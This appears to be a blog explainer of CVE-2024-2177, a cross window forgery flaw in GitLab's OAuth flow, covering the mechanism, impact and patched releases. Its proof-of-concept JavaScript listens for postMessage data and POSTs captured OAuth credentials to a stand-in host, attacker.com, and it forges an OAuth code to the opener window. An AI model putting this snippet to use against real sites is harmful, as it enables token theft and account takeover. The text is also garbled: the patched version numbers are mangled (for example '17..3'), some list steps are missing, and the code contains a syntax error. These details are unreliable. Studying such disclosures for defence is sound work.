CVE-2024-2177 - Breaking Down Cross Window Forgery in GitLab OAuth Flow

In June 2024, a new and critical security flaw—CVE-2024-2177—was disclosed in GitLab Community and Enterprise Edition. This vulnerability affects all versions from 16.3 up to (but not including) 16.11.5, 17. up to 17..3, and 17.1 up to 17.1.1. If you’re running a GitLab server, it’s important that you understand the nature of this bug and act fast to keep your users and data safe.

In this long read, we’ll unpack exactly what Cross Window Forgery is, how this GitLab bug works, and what an exploit might look like. We’ll also show you code snippets and links to the best references for further reading. Let’s get started!

What is CVE-2024-2177?

CVE-2024-2177 is a Cross Window Forgery vulnerability impacting the way GitLab handles OAuth authentication flows. This bug allows a malicious website to subvert or take advantage of the interactions between GitLab and your browser’s windows (or tabs). In practice, an attacker can use a “crafted payload” to trick your browser into giving them access to sensitive information—like OAuth tokens—getting them one step closer to taking over user accounts.

A Simple Example: How OAuth Gets Tricked

OAuth is a common protocol that lets users sign in via a third-party service (like GitLab). A secure flow is supposed to look like this:

App exchanges the code for a token—done!

Cross Window Forgery abuses the communication between these windows (for example, with window.postMessage or by accessing window.opener) to inject or steal sensitive data during the OAuth process.

Insecure handling of window messages or references can let a malicious site "listen" in or manipulate data sent between OAuth windows.

How Did GitLab Get It Wrong?

In the affected versions, GitLab’s OAuth flow did not sufficiently check or restrict which windows it accepted messages from or sent messages to. That means a malicious website, opened in another tab, could send messages or steal information from the legitimate OAuth popup.

Victim logs into GitLab or an app using GitLab OAuth in another tab.

3. The attacker tricks the victim's browser into linking the OAuth pop-up with their own tab, crossing the windows.

The attacker's payload abuses gaps in GitLab’s logic to capture an authorization code or token.

The root problem here is lack of origin checks and window reference validation in JavaScript code handling OAuth responses.

Proof of Concept (PoC) – Code Snippet

Below is a very simple, educational example of how an attacker might exploit this class of vulnerability, NOT for malicious use, only to understand the risk.

// Malicious payload running on attacker.com
// This domain should NOT be trusted by GitLab

window.addEventListener('message', function(event) {
  // In the real attack, the attacker waits for an OAuth token/code sent via postMessage
  if (event.origin.includes("yourgitlab-instance.com")) {
    // The stolen code/tokens can be sent to attacker's server
    fetch('https://attacker.com/log';, {
      method: 'POST',
      body: JSON.stringify({credential: event.data})
    });
  }
});

// Meanwhile, the attacker's tab could also abuse window.opener
if (window.opener) {
  // Send a malicious message to the opener window, simulating an OAuth response
  window.opener.postMessage({
    code: "FAKE_OR_STOLEN_OAUTH_CODE"
  }, "*");
}

In a vulnerable GitLab setup, the OAuth window might accept and trust this message, leading to token/session theft.

How Dangerous Is This?

- An attacker that exploits this can gain access to sensitive user info or impersonate users within GitLab or any connected application via OAuth.
- This can lead to privilege escalation, code repository theft, or even system compromise if an admin’s account is targeted.
- Because many companies use OAuth to manage access and permissions, a breach at this level can have serious consequences.

- Upgrade GitLab to 16.11.5, 17..3, or 17.1.1 (or later) ASAP. Patch links

- GitLab CE/EE 16.11.5 Release Notes
- GitLab CE/EE 17..3 Release Notes
- GitLab CE/EE 17.1.1 Release Notes
- Double-check your application's use of window.postMessage and window.opener — always validate the sender’s origin and the data received.

References

- GitLab Security Advisory: CVE-2024-2177
- OWASP Cross Window Forgery Explanation
- GitLab Blog: Best Practices for OAuth Security

Wrapping Up

CVE-2024-2177 is a classic example of how subtle web security weaknesses can lead to major breaches, even in mature products like GitLab. Cross Window Forgery might sound technical, but it means attackers can steal access tokens just by getting a user to visit a malicious website at the right time.

Protect your installations by patching immediately, reviewing your code for proper window and origin checking, and keeping up with the latest security advisories. Stay safe out there!


*If you found this breakdown exclusive and helpful, share it with your security team and follow GitLab’s security feeds for fresh updates.*

Timeline

Published on: 07/09/2024 14:15:03 UTC
Last modified on: 08/29/2024 15:04:55 UTC